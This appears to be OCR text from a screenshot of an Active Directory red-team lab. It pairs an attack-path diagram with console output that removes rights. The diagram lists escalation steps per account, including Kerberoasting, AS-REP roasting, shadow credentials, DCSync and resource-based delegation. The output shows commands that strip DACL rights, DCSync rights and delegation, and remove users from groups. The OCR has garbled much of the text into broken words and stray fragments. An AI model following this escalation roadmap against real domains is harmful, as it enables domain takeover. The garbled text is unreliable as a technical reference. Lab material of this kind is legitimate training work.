REDTEAM ADMIN SREDTEAM.BRO HELPDESK3@REDTEAM.BRO SRV1.REDTEAM.BRO
3 . U S e r 1 WriteDacl orceChangePasswg

* Target Kerberoasting/As-Reproasting
* Script Path

* Shadow Credentials

* UP to GenericAll

6. User3

* Reset password
* Target Kerberoasting/As-Reproasting
* Script Path
4. User2 * Shadow Credentials
* Target Kerberoasting/As-Reproasting 7 Admin
* Script Path
e Shadow Credentials * ResetPassword

* Target Kerb ting/As-R ti
* Set Owner (Get WriteDACL) arget Kerberoasting/As-Reproasting

* Script Path
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* Set DcSync

* Shadow Credentials

« UP to GenericAll ga

* Shadow Credentials Bx

> SRV1 8. REDTEAM.BRO -
* RBDC

T
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WriteOwner
»

GenericWrite

D

MemberOf ) @ AddMember @ GenericWrite

USER@REDTEAM.BRO 1A USERS@REDTEAM.BRO HELPDESK1@REDTEAM.BRO HELPDESK2@REDTEAM.BRO USERT@REDTEAM.BRO USER2@REPTEAM.BRO

# del_dcsync admin
[INFO] DACL modified successfully! admin now has no DS-Replication privilege.

NIMOLIBURY

GenericWrite GenericWrite

# clear_rbcd srvi$ GenericAl @ Memberof @
[INFO] Found Target DN: CN=SRV1,CN=Computers,DC=redteam,DC=bro TR '

[INFO] Target SID: S-1-5-21-2762875213-1548701916-2373633845-1125 witeoa AN RO rpeprcons?® CREDTEAMABRO HELPDESKS@REDTEAM.BRO SRV REDTEAM.BRO
[INFO] Delegation rights cleared successfully!

# dacl_modify userl user2 del GenericAll

[INFO] Found Target DN: CN=userl,CN=Users,DC=redteam,DC=bro

[INFO] Target SID: S-1-5-21-2762875213-1548701916-2373633845-1112
[INFO] Found Grantee DN: CN=user2,CN=Users,DC=redteam,DC=bro
[INFO] Grantee SID: S-1-5-21-2762875213-1548701916-2373633845-1113
[INFO] DACL modified successfully!

# dacl_modify userl user2 del WriteDACL
[INFO] Found Target DN: CN=userl,CN=Users,DC=redteam,DC=bro
[INFO] Target SID: S-1-5-21-2762875213-1548701916-2373633845-1112

[INFO
[INFO

Grantee SID: S$-1-5-21-2762875213-1548701916-2373633845-1113
DACL modified successfully!

]

[INFO] Found Grantee DN: CN=user2,CN=Users,DC=redteam,DC=bro
]
]

# dacl_modify HELPDESK2 userl del GenericAll

[INFO] Found Target DN: CN=HelpDesk2,CN=Users,DC=redteam,DC=bro
[INFO] Target SID: S-1-5-21-2762875213-1548701916-2373633845-1111
[INFO] Found Grantee DN: CN=userl,CN=Users,DC=redteam,DC=bro
[INFO] Grantee SID: S-1-5-21-2762875213-1548701916-2373633845-1112
[INFO] DACL modified successfully!

# del_user_from_group user HELPDESK2
[INFO] Delete user "user" from group "HelpDesk2" result: OK

# del_user_from_group user HELPDESK1
[INFO] Delete user "user" from group "HelpDeskl" result: OK
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